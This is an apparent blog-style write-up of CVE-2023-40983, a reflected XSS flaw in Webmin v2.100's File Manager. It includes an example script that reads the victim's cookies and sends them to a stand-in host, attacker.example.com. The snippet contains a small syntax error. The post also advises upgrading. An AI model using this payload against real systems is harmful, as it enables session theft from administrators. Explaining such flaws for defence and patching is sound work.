CVE-2023-40983: Exploiting a Reflected XSS Vulnerability in Webmin v2.100's File Manager

CVE-2023-40983 sheds light on a recently discovered reflected cross-site scripting (XSS) vulnerability in the File Manager function of Webmin v2.100, a web-based interface used for managing Unix systems. Attackers can exploit this vulnerability to execute malicious scripts on vulnerable systems by injecting a specially crafted payload into the Find in Results file. This post will explore the details of the vulnerability, provide a code snippet to demonstrate its exploitation, and share links to original references for further information.

Exploit Details

Reflected XSS vulnerabilities arise when user input is echoed back into the web application without proper validation or encoding and is therefore readily executable in the user's browser. The File Manager function in Webmin v2.100 is vulnerable to such attacks by failing to properly validate input passed to the Find in Results file. As a result, an attacker can execute a malicious script in the context of the victim's session on the Webmin server, potentially gaining unauthorized access to sensitive data or performing unauthorized actions.

Example Code Snippet

The following example demonstrates how an attacker might craft an exploit payload to take advantage of the reflected XSS vulnerability in CVE-2023-40983:

<!-- Start of injected payload -->
<script>
// Craft a malicious script payload, such as stealing session cookies
document.cookie.split("; ").forEach(function(cookie) {
  // Send the victim's session cookie to the attacker's server
  var img = new Image();
  img.src = "https://attacker.example.com/steal?cookie="; + encodeURIComponent(cookie);
});
</script>
<!-- End of injected payload -->

In this example, a malicious <script> is injected into the Find in Results file, causing the victim's browser to execute the payload once the file is opened. The script iterates through the user's cookies and sends them, encoded, to the attacker's server.

Original References

For a detailed analysis of the vulnerability and additional technical information, we advise reviewing the following original references:

1. CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40983

2. NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-40983

3. Webmin Official Website: https://www.webmin.com

4. Webmin GitHub Repository: https://github.com/webmin/webmin

Conclusion

CVE-2023-40983 highlights the importance of proper input validation and output encoding in web applications to prevent the execution of malicious scripts injected by attackers. Webmin administrators can protect their systems by upgrading to the latest version of Webmin, which contains a fix for this vulnerability. As always, users should be cautious when clicking on links or opening files from untrusted sources, as they might be exploited to launch XSS attacks.

Timeline

Published on: 09/15/2023 04:15:10 UTC
Last modified on: 09/19/2023 13:07:11 UTC